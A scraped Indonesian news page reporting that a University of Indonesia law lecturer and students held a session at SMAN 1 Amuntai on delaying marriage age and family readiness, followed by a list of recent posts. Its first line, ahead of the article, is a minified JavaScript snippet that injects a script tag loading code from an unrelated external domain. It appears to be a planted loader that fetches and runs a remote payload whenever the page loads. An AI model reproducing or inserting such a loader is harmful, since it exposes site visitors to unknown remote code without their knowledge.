(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pendidikan

Dosen dan Mahasiswa UI ke SMAN 1 Amuntai, ‘Beri Kuliah’ Pendewasaan Usia Nikah


AMUNTAI, Puluhan pelajar SMA Negeri 1 Amuntai Kabupaten Hulu Sungai Utara (HSU) mendapatkan bimbingan serta sosialisasi pendewasaan usia nikah dan ketahanan keluarga bertajuk “Training for Trainers” dari dosen Universitas Indonesia (UI) dan mahasiswa UI.

Kegiatan digelar di aula SMAN 1 Amuntai, Sabtu (12/10), disambut antusias dan positif para pelajar serta pihak sekolah.

Ahmad Zaini, Wakasek SMAN 1 Amuntai berterimakasih atas kedatangan dosen UI dan mahasiswa Fakultas Hukum UI yang menyempatkan datang ke Kabupaten Hulu Sungai Utara khususnya memberikan bimbingan pengetahuan kepada para pelajar.

Sementara itu, Heru Susetyo, dosen Fakultas Hukum UI menuturkan, pendewasaan usia perkawinan bertujuan memberikan pengertian dan kesadaran kepada remaja agar di dalam merencanakan keluarga dapat mempertimbangkan berbagai aspek berkaitan dengan kehidupan berkeluarga.

Diantaranya aspek kesiapan fisik, mental, emosional, pendidikan, sosial, ekonomi serta menentukan jumlah dan jarak kelahiran.

“Usia minimal pada saat perkawinan yaitu 21 tahun bagi wanita, dan 25 tahun bagi pria,” terang Heru yang juga pemateri dalam kegiatan ini.

Dirinya menyebutkan bahwa, perkawinan di usia dewasa akan menjamin kesehatan reproduksi ideal bagi wanita, sehingga kematian ibu melahirkan dapat dihindari.

“Jadi jangan terburu buru menikah di usia dini,,” imbuhnya.

Selain itu, Heru mengharapkan diselenggarakannya acara ini, dapat memberikan kesadaran kepada para remaja agar di dalam perencanaan berkeluarga dapat mempertimbangkan terlebih dulu aspek berkaitan dengan perencanaan kehidupan berkeluarga. Baik itu kesiapan fisik, mental, emosional, pendidikan, sosial, ekonomi serta menentukan jumlah maupun jarak kelahiran.

Kegiatan yang diikuti sekitar 40 pelajar perwakilan kelas X dan XI, disamping diberikan penyuluhan mengenai efek pernikahan dini bagi kesehatan fisik dan psikis, juga diberikan pembekalan mengenai pemahaman hukum pernikahan dini dalam agama serta memotivasi mimpi, cita-cita para peserta agar hidup lebih terarah dan terencana (dew)

Reporter : Dew
Editor : Bie

 


Desy Arfianty

Recent Posts

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

31 menit ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

2 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

2 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

6 jam ago

Melati Sekumpul Juara I Gebyar Pemberdayaan Masyarakat Desa

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More

6 jam ago

Serap Masukan Rencana Detail Tata Ruang Kertakhanyar-Gambut, PUPRP Banjar Gelar Konsultasi Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More

8 jam ago

This website uses cookies.